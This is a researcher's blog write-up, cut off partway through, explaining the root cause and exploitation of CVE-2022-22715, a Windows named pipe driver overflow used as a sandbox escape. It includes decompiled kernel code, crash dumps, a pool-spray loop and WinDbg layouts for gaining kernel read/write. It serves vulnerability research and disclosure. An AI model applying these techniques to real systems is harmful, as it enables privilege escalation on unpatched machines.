<span class="n">v12</span> <span class="o">=</span> <span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">v9</span> <span class="o">+</span> <span class="mi">2</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="k">volatile</span> <span class="kt">signed</span> <span class="kr">__int64</span> <span class="o">**</span><span class="p">)(</span><span class="n">v12</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">!=</span> <span class="n">v9</span> <span class="o">+</span> <span class="mi">2</span>
<span class="o">||</span> <span class="p">(</span><span class="n">v13</span> <span class="o">=</span> <span class="p">(</span><span class="k">volatile</span> <span class="kt">signed</span> <span class="kr">__int64</span> <span class="o">**</span><span class="p">)</span><span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">v9</span> <span class="o">+</span> <span class="mi">3</span><span class="p">),</span> <span class="o">*</span><span class="n">v13</span> <span class="o">!=</span> <span class="n">v9</span> <span class="o">+</span> <span class="mi">2</span><span class="p">)</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">__fastfail</span><span class="p">(</span><span class="mi">3u</span><span class="p">);</span>
<span class="p">}</span>
<span class="o">*</span><span class="n">v13</span> <span class="o">=</span> <span class="p">(</span><span class="k">volatile</span> <span class="kt">signed</span> <span class="kr">__int64</span> <span class="o">*</span><span class="p">)</span><span class="n">v12</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">v12</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">=</span> <span class="n">v13</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">_InterlockedExchangeAdd64</span><span class="p">(</span><span class="n">v9</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0xFFFFFFFFFFFFFFFFu</span><span class="n">i64</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v14</span> <span class="o">=</span> <span class="n">SrvFreeKey</span><span class="p">(</span><span class="n">v9</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v14</span> <span class="o"><</span> <span class="mi">0</span> <span class="p">)</span>
<span class="n">DebugTraceError</span><span class="p">(</span>
<span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">v14</span><span class="p">,</span>
<span class="s">"Status"</span><span class="p">,</span>
<span class="s">"onecore</span><span class="se">\\</span><span class="s">ds</span><span class="se">\\</span><span class="s">security</span><span class="se">\\</span><span class="s">cryptoapi</span><span class="se">\\</span><span class="s">ncrypt</span><span class="se">\\</span><span class="s">iso</span><span class="se">\\</span><span class="s">service</span><span class="se">\\</span><span class="s">srvutils.c"</span><span class="p">,</span>
<span class="mi">705</span><span class="n">i64</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">RtlLeaveCriticalSection</span><span class="p">(</span><span class="n">v8</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">_InterlockedExchangeAdd64</span><span class="p">(</span><span class="n">v9</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0xFFFFFFFFFFFFFFFFu</span><span class="n">i64</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v15</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kr">__int64</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">**</span><span class="p">)(</span><span class="n">_QWORD</span><span class="p">,</span> <span class="n">_QWORD</span><span class="p">))(</span><span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">v9</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="mi">128</span><span class="n">i64</span><span class="p">))(</span>
<span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)(</span><span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">v9</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="mi">280</span><span class="n">i64</span><span class="p">),</span>
<span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">v9</span> <span class="o">+</span> <span class="mi">5</span><span class="p">));</span>
<span class="p">[...]</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">Thanks for discussing with @chompie1337, @DannyOdler and @cplearns2h4ck. Actually even after patch, there should be UAF after SrvFreeKey get called, because SrvFreeKey function must free the key object but there still be a reference after the function returned, but the function seems never could be called, this is weird code that I don't know why Microsoft designed it like this, but after they add lock function between key object is intialized and freed, the UAF race condition got fixed.</span>
</p>Break me out of sandbox in old pipe - CVE-2022-22715 Windows Dirty Pipe2022-08-25T03:09:53Zbreak-me-out-of-sandbox-in-old-pipe-cve-2022-22715-windows-dirty-pipeWHEREISK0SHL<h3 id="toc_0" class="h16">Author: k0shl of Cyber Kunlun</h3>
<p class="md_block">
<span class="md_line md_line_start md_line_end">In February 2022, Microsoft patched the vulnerability I used in TianfuCup 2021 for escaping Adobe Reader sandbox, assigned <a class="md_compiled" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22715">CVE-2022-22715</a>. The vulnerability existed in Named Pipe File System nearly 10 years since the AppContainer was born. We called it "Windows Dirty Pipe".</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">In this article, I will share the root cause and exploitation of Windows Dirty Pipe. So let's start our journey.</span>
</p>
<h2 id="toc_1" class="h16">Background</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Named pipe is a named, one-way or duplex pipe for communication between the pipe server and one or more pipe clients. Many browsers and applications use Named Pipe as IPC between browser process and render process. And AppContainer was introduced when Microsoft released Windows 8.1 as a sandbox mechanism to isolate resources access from UWP application.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Since then, some browsers and applications such as old edge or Adobe Reader use AppContainer as their render process sandbox, and of course, the Named Pipe File System added some mechanisms for AppContainer support. As result, it brought Windows Dirty Pipe -- CVE-2022-22715</span>
</p>
<h2 id="toc_2" class="h16">Root Cause of Windows Dirty Pipe</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">The vulnerability existed in Named Pipe File System Driver - npfs.sys, and the issue function is npfs!NpTranslateContainerLocalAlias. When we invoking NtCreateFile with a named pipe path, it will hit the IRP_MJ_CREATE major function of npfs, it called NpFsdCreate.</span>
</p>
<pre><code>__int64 __fastcall NpFsdCreate(__int64 a1, _IRP *a2)
{
[...]
if ( RelatedFileObject )
{
[...]
}
if ( UnicodeString.Length )
{
if ( UnicodeString.Length == 2 && *UnicodeString.Buffer == 0x5C && !RelatedFileObject ) // ===> if open root directory
goto LABEL_47;
}
else
{
if ( !RelatedFileObject || NamedPipeType == 0x201 )
{
[...]
}
if ( NamedPipeType == 0x206 )
{
LABEL_47:
*(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpOpenNamedPipeRootDirectory( // ===> open root directory
(__int64)&MasterIrp,
v3,
(__int64)FileObject);
[...]
}
}
if ( ifopenflag )
{
if ( !RelatedFileObject )
{
if ( createdisposition == 1 )
{
*(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpOpenNamedPipePrefix( // ====> open a existed directory named pipe
(__int64)v33,
v3,
FileObject,
v11,
DesiredAccess,
RequestorMode);
[...]
}
if ( (unsigned int)(createdisposition - 2) <= 1 )
{
*(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpCreateNamedPipePrefix( // ====> create a new directory named pipe
(__int64)v34,
v3,
FileObject,
(struct _SECURITY_SUBJECT_CONTEXT *)v11,
DesiredAccess,
RequestorMode,
Options_high);
[...]
}
}
goto LABEL_57;
}
[...]
Status = NpTranslateAlias((__m128i *)&namedpipename, ClientToken, &v39); // =====> create a new pipe
[...]
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">The function dispatch into different handler function, it depends on the parameters of NtCreateFile, such as RootDirectory of ObjectAttributes or CreateDisposition. And if we create a new named pipe, it will come into NpTranslatedAlias.</span>
</p>
<pre><code>NTSTATUS __fastcall NpTranslateAlias(UNICODE_STRING *namedpipename, void *a2, _DWORD *a3)
{
[...]
*(_QWORD *)&String1.Length = 0xE000Ci64;
String1.Buffer = L"LOCAL\\";
DestinationString = 0i64;
*a3 = 0;
Length = _mm_cvtsi128_si32(*(__m128i *)a1);
String2 = *a1;
String2.Length = Length;
if ( Length >= 2u && *String2.Buffer == 0x5C )
{
Length -= 2;
String2.MaximumLength -= 2;
v7 = 1;
++String2.Buffer;
String2.Length = Length;
}
else
{
v7 = 0;
}
if ( !Length )
return 0;
if ( a2 && Length > 0xCu )
{
if ( RtlPrefixUnicodeString(&String1, &String2, 1u) ) // ====> compare "LOCAL\\" and prefix of named pipe name
return NpTranslateContainerLocalAlias(a1, a2, a3); // =====> vulnerable code
[...]
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">The named pipe name which can be controlled by us will pass into NpTranslateAlias, the function will get the prefix of the named pipe name and compare it with "LOCAL\", if our named pipe name use "LOCAL\" as the prefix, this will hit the NpTranslateContainerLocalAlias function. It means we can use "\Device\NamedPipe\LOCAL\xxxxx" as the named pipe name. </span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Finally, we hit the vulnerable function, it's time to show root cause.</span>
</p>
<pre><code>NTSTATUS __fastcall NpTranslateContainerLocalAlias(struct _UNICODE_STRING *namedpipename, void *a2, _DWORD *a3)
{
[...]
result = SeQueryInformationToken(a2, TokenIsAppContainer, &TokenInformation);
if ( result >= 0 )
{
result = SeQueryInformationToken(a2, TokenIsRestricted|TokenGroups, &v28);
if ( result >= 0 )
{
if ( !TokenInformation && !v28 ) // =====> token must be appcontainer or restricted
return 0;
[...]
v14 = *namedpipename;
*(_QWORD *)&v30 = *(_QWORD *)&namedpipename->Length;
v15 = v30;
v16 = (_WORD *)_mm_srli_si128((__m128i)v14, 8).m128i_u64[0];
v17 = v16;
*((_QWORD *)&v30 + 1) = v16;
if ( *v16 == '\\' )
{
v17 = v16 + 1;
ifslash = 1; // ====> if there is "\\" in named pipe name, ifslash will set to 1
v15 = v30 - 2;
}
else
{
ifslash = 0;
}
[...] // ====> calculate the new prefix length
v21 = prefixlength + namedpipenamelength + 0x14;
v26.MaximumLength = v21;
if ( ifslash )
{
v21 += 2; // ===> variable v21 is ushort type, it will be add to 0
v26.MaximumLength = v21;
}
PoolWithTag = (WCHAR *)ExAllocatePoolWithTag(PagedPool, v21, 0x6E46704Eu); // ====> v21 will be 0 because of integer overflow, and it will allocate a small pool.
v26.Buffer = PoolWithTag;
if ( PoolWithTag )
{
if ( ifslash )
{
v26.Buffer = PoolWithTag + 1;
v26.MaximumLength -= 2; // if ifslash is 1, length 0 minus 2, it will cause integer underflow and the length will be set to 0xfffe
}
[...]
RtlUnicodeStringPrintf( // ====> RtlUnicodeStringPrintf will copy large size(0xfffe) buffer to a small pool cause out of bound write
&v26,
L"Sessions\\%ld\\AppContainerNamedObjects\\%wZ\\%wZ\\%wZ",
(unsigned int)v32,
&v35,
&DestinationString,
&v30);
[...]
}
[...]
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">First, npfs check the process token privilege if it's appcontianer or restricted, it must meet one of two conditions at least which means the process must be a appcontainer, a restricted sandboxed process or both. And then, function check the named pipe name if the first wchar is "\", if so, npfs set variable |ifslash| to 1. After that, it calculate a new named pipe prefix length, the new named pipe prefix include SID, session number, specify string and etc., finally the new prefix length add named pipe name length and 0x14, and if variable |ifslash| is 1, the total size will add 2 to the final size.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Note that all the variable is ushort type, so there is a obviously integer overflow, if we use a long length named pipe name, the total size will be a small value finally.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">After calculation, npfs allocate a small pool because of the small total size, then if |ifslash| is 1, the total size minus 2, if the total size is 0, there is a integer underflow, and the maxiumlength of unicode string will be a large ushort value 0xfffe.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">The function RtlUnciodeStringPrintf will copy a string into the new pool buffer, the length of memcpy depends on maxiumlength of unicode string, if we trigger integer underflow before, npfs will copy a large value to a small pool trigger out of bound write.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end"><strong><em>Crash Dump</em></strong>:</span>
</p>
<pre><code>rax=0000000000000000 rbx=ffffe7862a687118 rcx=ffffe7862a687080
rdx=4141414141414141 rsi=4141414141414141 rdi=ffffe7862a6876d0
rip=fffff80313807bc8 rsp=ffffe40ab22d8420 rbp=ffffe7862a4e6820
r8=ffffe40ab22d8470 r9=000001c7aa2763c0 r10=fffff80313807ac0
r11=ffffe7862a687080 r12=0000000000000001 r13=0000000000000001
r14=ffffe78628cbc060 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050246
nt!ExAcquirePushLockExclusiveEx+0x108:
fffff803`13807bc8 f0480fba2e00 lock bts qword ptr [rsi],0 ds:002b:41414141`41414141=????????????????</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">The crash dump shows the out of bound write corrupt some other objects after the 0x20 pool.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">The purpose of NpTranslateContainerLocalAlias function is to translate the named pipe name including "LOCAL\" to a new named pipe name. For example, if the process is an appcontainer sandboxed process, it translates the name pipe name to a format string with "AppContainerNamedObjects", AppContainerNamedObjects is a directory which store some appcontainer related objects in object manager. Npfs finally create a new named pipe object under AppContainerNamedObjects directory in object manager.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">But all the size variables type is ushort, this is the root cause of Windows Dirty Pipe.</span>
</p>
<h2 id="toc_3" class="h16">Challenges of Windows Dirty Pipe</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">After introducing the root cause of Windows Dirty Pipe, I want to share the challenges of the CVE-2022-22715 before I public my exploitation. </span>
</p>
<p class="md_block md_has_block_below md_has_block_below_ol">
<span class="md_line md_line_start md_line_end">When I trigger the crash and confirm the vulnerability, I quickly realize that the vulnerability is not easy to exploit, there is some challenges I will meet when I do exploit.</span>
</p>
<ol>
<li class="md_li"><span>Although integer overflow when npfs calculate the total size could make total size to a small value, such as 0x20\0x30\0x40..., but it must be 0, because we need trigger integer underflow to make maxiumlength of unicode string to a large ushort value for out of bound writing, if we set the total size to larger than 0, after total size minus 2, it's still a small value and out of bound write will not triggered.
</span></li>
<li class="md_li"><span>As I said above, the memcpy length is 0xfffe, it means I need to copy a more than 16 pages pool memory to a paged pool segment, this is not easy to make a stable layout.
</span></li>
</ol>
<h2 id="toc_4" class="h16">An interesting kernel pool allocation mechanism</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">The first step of my exploitation is try to find a way to complete pool feng shui. In this situation, the corrupted pool must be a 0x20 paged pool, it's a kernel low fragmentation heap(LFH) pool, at first, I want to spray 0x20 LFH pools, and corrupt some 0x20 object to complete exploitation.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">But there is a problem that I can't control the vulnerable 0x20 pool position in LFH bucket precisely and the memcpy length is 0xfffe, this may corrupt some unexpected objects or protected pages which cause BSoD. </span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">I don't want to introduce kernel pool allocation deeply in my blog, there are many awesome articles/slides about it. Now let me share an interestring kernel pool allocation mechanism I used when I try to solve the problem.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">As we all know, Windows kernel allocate pool segment by backend allocator and allocate subsegment by frontend allocator, and an interestring mechanism is that different type of subsegment can be allocate in the same segment.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">That get my attention!</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">After some tests, I confirm that I can make a 0x20 LFH subsegment and a VS subsegment adjacent. This make my pool feng shui layout.</span>
</p>
<h2 id="toc_5" class="h16">Stage 1: Preparation</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Because vulnerable pool is a paged pool, so I choose WNF as my limited r/w primitive. I use _WNF_STATE_DATA as a limited out of bound read/write object -- the manager object, the maxium read/write range of _WNF_STATE_DATA is 0x1000. And I need to find another object to complete arbitrary address read/write -- the worker object. Actually, it's not difficult to find a suitable object, the object must be a paged pool object including a pointer field that could be used to read/write arbitrary address such as through memcpy.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">I finally decided to use _TOKEN object as the worker object, if I invoke NtSetInformationToken with TokenDefaultDacl TokenInformationClass, nt finally invoke nt!SepAppendDefaultDacl copy a user-controlled content to a pointer field store in _TOKEN object.</span>
</p>
<pre><code>void *__fastcall SepAppendDefaultDacl(_TOKEN *TOKEN, unsigned __int16 *usercontrolled)
{
v3 = usercontrolled[1];
v4 = (_ACL *)&TOKEN->DynamicPart[*((unsigned __int8 *)a1->PrimaryGroup + 1) + 2];
result = memmove(v4, usercontrolled, usercontrolled[1]);
[...]
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">And if I invoke NtQueryInformationToken with TokenBnoIsolation TokenInformationClass, nt copy a isolationprefix buffer to usermode memory.</span>
</p>
<pre><code>NTSTATUS __stdcall NtQueryInformationToken(
HANDLE TokenHandle,
TOKEN_INFORMATION_CLASS TokenInformationClass,
PVOID TokenInformation,
ULONG TokenInformationLength,
PULONG ReturnLength)
{
[...]
case TokenBnoIsolation:
[...]
memmove(
(char *)TokenInformation + 16,
TOKEN->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.Buffer,
TOEKN->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.MaximumLength);
}
[...]
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">So I could use manager object to construct a fake _TOKEN object structure to modify the adjacent worker object, then use NtSetInformationToken and NtQueryInformationToken as arbitrary r/w primitive.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Another object I need to prepare is the 0x20 spray object, it should be full controlled by me including allocate and free. I find there is a function named nt!NtRegisterThreadTerminatePort.</span>
</p>
<pre><code>NTSTATUS __fastcall NtRegisterThreadTerminatePort(void *a1)
{
CurrentThread = KeGetCurrentThread();
Object = 0i64;
result = ObReferenceObjectByHandle(a1, 1u, LpcPortObjectType, CurrentThread->PreviousMode, &Object, 0i64);
if ( result >= 0 )
{
PoolWithQuotaTag = ExAllocatePoolWithQuotaTag((POOL_TYPE)9, 0x10ui64, 0x70547350u);
v4 = PoolWithQuotaTag;
if ( PoolWithQuotaTag )
{
PoolWithQuotaTag[1] = Object;
*PoolWithQuotaTag = CurrentThread[1].InitialStack;
result = 0;
CurrentThread[1].InitialStack = v4;
}
else
{
ObfDereferenceObject(Object);
return -1073741670;
}
}
return result;
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">Function reference a LpcPort object and allocate a 0x20 paged pool for storing the LpcPort object, then store it into _ETHREAD object. If we create a thread and invoke NtRegisterThreadTerminatePort multiple times in thread, it could allocate a large amount of 0x20 paged pool.</span>
</p>
<p class="md_block md_block_as_opening md_has_block_below md_has_block_below_ol">
<span class="md_line md_line_start md_line_end">Finally there was a pool feng shui plan in my head:</span>
</p>
<ol>
<li class="md_li"><span>Spray 0x20 paged pool to fill LFH subsegment, if all segment is full, backend allocation will allocate a new segment, and our new 0x20 LFH subsegment will be located in new segment.
</span></li>
<li class="md_li"><span>Spray _TOKEN object and _WNF_STATE_DATA object to fill VS subsegment, make sure they are in same page, and frontend allocation will finally allocate new VS subsegement, it will be located in the segement which created in step 1, adjacent to the LFH subsegment.
</span></li>
</ol>
<p class="md_block">
<span class="md_line md_line_start md_line_end">So our finally pool feng shui just like following:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="https://whereisk0shl.top/20220823/1.png" alt="1.PNG" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Note that I can't predict the vulnerable pool's position in LFH Bucket, but actually I don't care about it, in this pool feng shui situation, the target of out of bound write is occupy the manager object and the worker object in VS subsegment, so I don't need to make pool hole for vulnerable object, just fill the LFH bucket with spray object, and make sure the vulnerable object located at the end LFH bucket. </span>
</p>
<h2 id="toc_6" class="h16">Stage 2: Pool feng shui</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">When spraying WNF object, I find out that there is another object named _WNF_NAME_INSTANCES be created, it will cause frontend allocation create another LFH segment and affect our pool feng shui layout.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">So before I do pool feng shui, I create a lot of 0xd0 pool and free them to make a large amount of 0xd0 pool hole to store _WNF_NAME_INSTANCES objects.</span>
</p>
<pre><code>for (UINT i = 0x0; i < 0x4000; i++) {//0xf000 for normal pool hole
AllocateWnfObject(0xd0, &gStateName[i]);
}
for (UINT i = 0x0; i < 0x4000; i++) {//0xf000
fNtDeleteWnfStateName(&gStateName[i]);//0x30
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">I allocate a lot amount of spray objects and spray _TOKEN objects and _WNF_STATE_DATA objects first, it will create new LFH subsegment and VS subsegement in the new segment. We can observe the final pool feng shui layout by windbg.</span>
</p>
<pre><code>0: kd> !pool ffffb0880d69e000
Pool page ffffb0880d69e000 region is Paged pool
*ffffb0880d69e000 size: 20 previous size: 0 (Allocated) *PsTp Process: ffffc10b74a1c080
Pooltag PsTp : Thread termination port block, Binary : nt!ps
ffffb0880d69e020 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e040 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e060 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e080 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e0a0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
0: kd> !pool ffffb0880d69f000
Pool page ffffb0880d69f000 region is Paged pool
*ffffb0880d69f000 size: 20 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d69f020 size: 20 previous size: 0 (Free) ....
ffffb0880d69f040 size: 20 previous size: 0 (Free) ....
ffffb0880d69f060 size: 20 previous size: 0 (Free) ....
ffffb0880d69f080 size: 20 previous size: 0 (Free) ....
ffffb0880d69f0a0 size: 20 previous size: 0 (Free) ....
0: kd> !pool ffffb0880d6a0000
Pool page ffffb0880d6a0000 region is Paged pool
*ffffb0880d6a0000 size: 20 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d6a0020 size: 20 previous size: 0 (Free) ....
ffffb0880d6a0040 size: 20 previous size: 0 (Free) ....
ffffb0880d6a0060 size: 20 previous size: 0 (Free) ....
ffffb0880d6a0080 size: 20 previous size: 0 (Free) ....
0: kd> !pool ffffb0880d6a1000
Pool page ffffb0880d6a1000 region is Paged pool
*ffffb0880d6a1000 size: 20 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d6a1020 size: 20 previous size: 0 (Free) ....
ffffb0880d6a1040 size: 20 previous size: 0 (Free) ....
ffffb0880d6a1060 size: 20 previous size: 0 (Free) ....
ffffb0880d6a1080 size: 20 previous size: 0 (Free) ....
0: kd> !pool ffffb0880d6a2000 // ======> new VS subsegment header
Pool page ffffb0880d6a2000 region is Paged pool
*ffffb0880d6a2000 size: 30 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d6a2040 size: 880 previous size: 0 (Allocated) Toke
ffffb0880d6a28d0 size: 580 previous size: 0 (Allocated) Wnf Process: ffffc10b74a1c080
ffffb0880d6a2e50 size: 190 previous size: 0 (Free) ..D.</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="https://whereisk0shl.top/20220823/2.png" alt="2.PNG" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">As the layout show, there are many free LFH pool holes in the end LFH bucket, and the new VS subsegment is next to the LFH bucket, if we create vulnerable object now, it will be located in one of the free LFH pool hole.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Note the vulnerable object may not located in the last LFH page, but it's not necessary, the out of bound write may corrupt the LFH bucket will not affect our exploitation.</span>
</p>
<pre><code>0: kd> r
rax=ffffb0880d69e750 rbx=0000000000000002 rcx=0000000000000028
rdx=0000000000000000 rsi=0000000000000000 rdi=ffffe4835a302301
rip=fffff800401c2b31 rsp=ffffe4835a301e00 rbp=ffffe4835a301f00
r8=0000000000000fff r9=00000000000004ca r10=000000006e46704e
r11=0000000000001001 r12=ffffe4835a302220 r13=ffffe4835a302310
r14=0000000000000001 r15=000000000000ff01
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040282
Npfs!NpTranslateContainerLocalAlias+0x391:
fffff800`401c2b31 4889442450 mov qword ptr [rsp+50h],rax ss:0018:ffffe483`5a301e50=0000000000000000
0: kd> !pool @rax // ===> vulnerable pool locate at one of free hole in LFH bucket
Pool page ffffb0880d69e750 region is Paged pool
ffffb0880d69e700 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e720 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
*ffffb0880d69e740 size: 20 previous size: 0 (Allocated) *NpFn
Pooltag NpFn : Name block, Binary : npfs.sys
ffffb0880d69e760 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e780 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e7a0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e7c0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e7e0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e800 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e820 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e840 size: 20 previous size: 0 (Free) MPCt
ffffb0880d69e860 size: 20 previous size: 0 (Free) MPCt
ffffb0880d69e880 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e8a0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e8c0 size: 20 previous size: 0 (Free) MPCt
ffffb0880d69e8e0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="https://whereisk0shl.top/20220823/3.png" alt="3.PNG" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Then after invoking RtlUnicodeStringPrintf function, it will out of bound write about 0xfffe memory size content, this corrupt the LFH pool space and VS pool space. And the corrupt data is named pipe name that we could control, we need calculate the malicious payload for modifing the _WNF_STAT_DATA->DataSize.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">When we create _WNF_STATE_DATA, we can't set DataSize larger than _WNF_STATE_DATA data region, but after triggerring vulnerability, we could modify it to any value, the maxium value of DataSize is 0x1000, we could gain a limited out of bound r/w primitive to modify the _TOKEN object in next page.</span>
</p>
<pre><code>0: kd> dq ffffb0880d6a28d0 l4
ffffb088`0d6a28d0 00001000`00001000 00001000`00001000
ffffb088`0d6a28e0 00001000`00001000 00001000`00001000</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="https://whereisk0shl.top/20220823/4.png" alt="4.PNG" title="" ></span>
</p>
<h2 id="toc_7" class="h16">Stage 3: Gain arbitrary address r/w</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">In stage 2, we make a pool feng shui, and gain a limited r/w primitive with _WNF_STATE_DATA object, but there is a huge problem. How I find which object handle I need to use?</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">If I corrupt the object and use it by handle, the corrupted object header data will crash the system. And now, I need to find out a useful manager object(_WNF_STAT_DATA) name and worker object(_TOKEN) handle.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">I thought of a solution. For manager object, when we try to read data from _WNF_STATE_DATA data region, we call NtQueryWnfStateData with a specified length, if the length is larger than DataSize, it will return nt error code 0xc0000023. For worker object, when we create a _TOKEN object, there is a unique LUID in _TOKEN object, and it could be queried by NtQueryInformationToken with TokenStatics TokenInformationClass, it named TokenId, we could query them when we spray _TOKEN Object and store it in an array.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Because _WNF_NAME_INSTANCES will not be corrupted, we can use NtUpdateWnfStateData and NtQueryWnfStateData normally.</span>
</p>
<p class="md_block">
